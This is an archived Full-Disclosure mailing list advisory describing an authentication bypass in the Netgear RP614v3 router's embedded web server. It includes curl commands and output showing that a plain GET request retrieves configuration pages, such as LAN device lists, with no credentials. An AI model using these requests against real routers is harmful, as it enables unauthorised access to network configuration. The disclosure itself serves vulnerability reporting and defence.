full-disclosure - [FD] Netgear RP614v3 : Authentication Bypass

Open Source and information security mailing list archives

Message-ID: <56B30614.6010604@evolution-hosting.eu>
Date: Thu, 4 Feb 2016 09:04:36 +0100
From: fulldisclosure <fulldisclosure@...lution-hosting.eu>
To: fulldisclosure@...lists.org
Subject: [FD] Netgear RP614v3 : Authentication Bypass

###########################################
Vendor         : NETGEAR
Product        : RP614v3
informed on : 12. 10. 2015
responded    : no
fixed             : no
Effect            : Remotely exploitable over LAN/WLAN
Typ                : Authentication Bypass
Difficulty        : trivial
###########################################

The N300 FW authentication bypass inspired me to check my rp614v3 router
and I found this bypass:

Firmware: *Firmwareversion* V6.0GR Oct 26 2004  ( which seems to be the
lastest )

It's an old model, but it's still in operation with ADSL2 connections
like TCOM DSL6000 in Germany.

How it works:

If you use a normal browser, it sends a *HEAD*, followed by a GET, to
the router first, which gets a 403 Forbidden back:

# curl -I "http://192.168.1.1/contents1.html"
HTTP/1.0 403 Forbidden

this was expected and is the valid answere, but if you send a *GET*
instead of the HEAD and your not authenticated,
you get the 200 back :

# curl -i "http://192.168.1.1/contents1.html"
HTTP/1.0 200 OK
Server: Embedded HTTPD v1.00, 1999(c) Delta Networks Inc.
Content-length: 7158
Accept-ranges: bytes
Content-type: text/html

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=windows-1252">
<meta name="generator" content="Adobe GoLive 5">
...

Works for every page, with all informations disclosed the router has to
offer. No password nor a username needed.

Example :

#curl -i "http://192.168.1.1/lanform.html"
HTTP/1.0 200 OK
Server: Embedded HTTPD v1.00, 1999(c) Delta Networks Inc.
Content-length: 13722
Accept-ranges: bytes
Content-type: text/html
....
<table border ="1" cellpadding ="0" cellspacing ="0" width="100%">
<tr>
<td nowrap width="5%" align="center">
<span class="thead">�</span> </td>
<td nowrap width="3%" align="center">
<span class="thead">#</span> </td>
<td nowrap width="24%" align="center">
<span class="thead">IP-Adresse</span> </td>
<td nowrap width="34%" align="center">
<span class="thead">Ger�tename</span> </td>
<td nowrap width="34%" align="center">
<span class="thead">MAC-Adresse</span> </td>
</tr>
<tr><td nowrap width="5%" align="center"><input type="radio" value="0"
checked name="X1" onClick="check(this.value)"></td><td nowrap width="3%"
align="center">1</td><td nowrap width="24%"
align="center">*192.168.1.2*</td><td nowrap width="34%"
align="center">LapTop</td><td nowrap width="34%"
align="center">*00:15:a5:d5:f7:7c*</td></tr><tr><td nowrap width="5%"
align="center"><input type="radio" value="1"  name="X1"
onClick="check(this.value)"></td><td nowrap width="3%"
align="center">2</td><td nowrap width="24%"
align="center">*192.168.1.3*</td><td nowrap width="34%"
align="center">Accesspoint</td><td nowrap width="34%"
align="center">*21:6e:5c:23:86:a2*</td></tr> </table>

(all ips and mac have been changed )

Sidenote:

As it's a problem of the underlying httpd server from "Delta Networks
Inc." , it's most likely to be effecting all dsl router products using
that same version of the httpd.

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives